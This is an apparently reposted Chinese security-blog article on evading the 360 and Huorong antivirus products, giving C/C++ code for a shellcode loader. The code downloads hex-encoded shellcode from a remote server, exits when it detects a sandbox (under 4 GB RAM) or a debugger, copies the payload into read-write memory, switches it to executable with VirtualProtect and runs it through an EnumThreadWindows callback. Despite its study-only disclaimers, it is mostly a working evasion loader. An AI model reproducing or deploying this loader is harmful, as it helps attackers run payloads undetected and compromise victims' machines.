免杀绕过360及火绒

admin 2025年1月2日23:23:51评论11 views字数 2170阅读7分14秒阅读模式

免杀绕过360及火绒

免杀原理:远程加载shellcode到内存,避免出现cs的payload的特征,然后进行内存申请优化,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行。可以规避一些检测。

反调试:GetStartupInfo API函数获取进程启动时候STARTUPINFO结构体的参数,通过检测参数来判断是否是由调试器启动,如果是调试器启动则终止进程。

反沙箱:通过判断机器的运行内存,一般正常Windows的内存不会低于4GB

以下是实现过程

  • 一个shellcode,保存在网络上远程获取我们的shellcode

免杀绕过360及火绒

  • 获取远程shellcode使用的函数

HINTERNET InternetOpenW([in] LPCWSTR lpszAgent,[in] DWORD   dwAccessType,[in] LPCWSTR lpszProxy,[in] LPCWSTR lpszProxyBypass,[in] DWORD   dwFlags);
HINTERNET InternetOpenUrlW(  [in] HINTERNET hInternet,  [in] LPCWSTR   lpszUrl,  [in] LPCWSTR   lpszHeaders,  [in] DWORD     dwHeadersLength,  [in] DWORD     dwFlags,  [in] DWORD_PTR dwContext);
BOOL InternetReadFile(  [in]  HINTERNET hFile,  [out] LPVOID    lpBuffer,  [in]  DWORD     dwNumberOfBytesToRead,  [out] LPDWORD   lpdwNumberOfBytesRead);
  • 实现获取网页内容代码

LPSTR gettxt(LPSTR lpu, char* bf){    HINTERNET hsn;    LPSTR lpt = NULL;    hsn = InternetOpen(L"WinInet", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);    __try    {        if (hsn != NULL)        {            HINTERNET hre;            hre = InternetOpenUrlA(hsn, lpu, NULL, 0, INTERNET_FLAG_RELOAD, 0);            __try            {                if (hre != NULL)                {                    DWORD dby;                    char szf[b_SIZE] = { 0 };                    if (InternetReadFile(hre, szf, b_SIZE, &dby))                    {                        RtlMoveMemory(bf, szf, b_SIZE);                        return 0;                    }                }            }            __finally            {                InternetCloseHandle(hre);            }        }    }    __finally    {        InternetCloseHandle(hsn);    }    return lpt;}
  • 简单的沙箱检测,反调试

    MEMORYSTATUSEX memoryStatus;    memoryStatus.dwLength = sizeof(memoryStatus);    GlobalMemoryStatusEx(&memoryStatus);    DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;    if (RAMMB < 4096) {        printf("不正常");        return 0;    }    else    {        STARTUPINFO temp;      temp.cb = sizeof(temp);      GetStartupInfo(&temp);            if (temp.dwFlags != 1)            {                ExitProcess(0);            }         printf("可能正常");    }
  • 加载器

加载shellcode使用到的函数

BOOL EnumThreadWindows(  [in] DWORD       dwThreadId,  [in] WNDENUMPROC lpfn,  [in] LPARAM      lParam);
int shell() {    DWORD dwct; // 内存页属性    char b[b_SIZE] = { 0 };    char u[MAX_PATH] = "http://ip/你的shellcoed.txt";    gettxt(u, b);    string tpf = b;    unsigned char* selc = (unsigned char*)calloc(strlen(b) / 2, sizeof(unsigned char));    for (int i = 0; i < tpf.size() / 4; ++i) {        selc[i] = std::strtoul(tpf.substr(i * 4 + 2, 2).c_str(), nullptr, 16);    }    LPVOID run = VirtualAlloc(NULL, strlen(b) / 2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    if (run == NULL) { return 0; }    //创建可读可写内存    memcpy(run, selc, strlen(b) / 2);    //内存添加可执行权限    VirtualProtect(run, strlen(b) / 2, PAGE_EXECUTE, &dwct);    //执行    EnumThreadWindows(0, (WNDENUMPROC)run, NULL);}
  • 效果

免杀绕过360及火绒

免杀绕过360及火绒

免杀绕过360及火绒

免杀绕过360及火绒

*本文仅供参考学习,严禁用于其他用途,若造成不良影响的,由使用者本人承担一切后果。

免杀绕过360及火绒

原文始发于微信公众号(刑天攻防实验室):免杀绕过360及火绒

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日23:23:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀绕过360及火绒https://cn-sec.com/archives/1864575.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息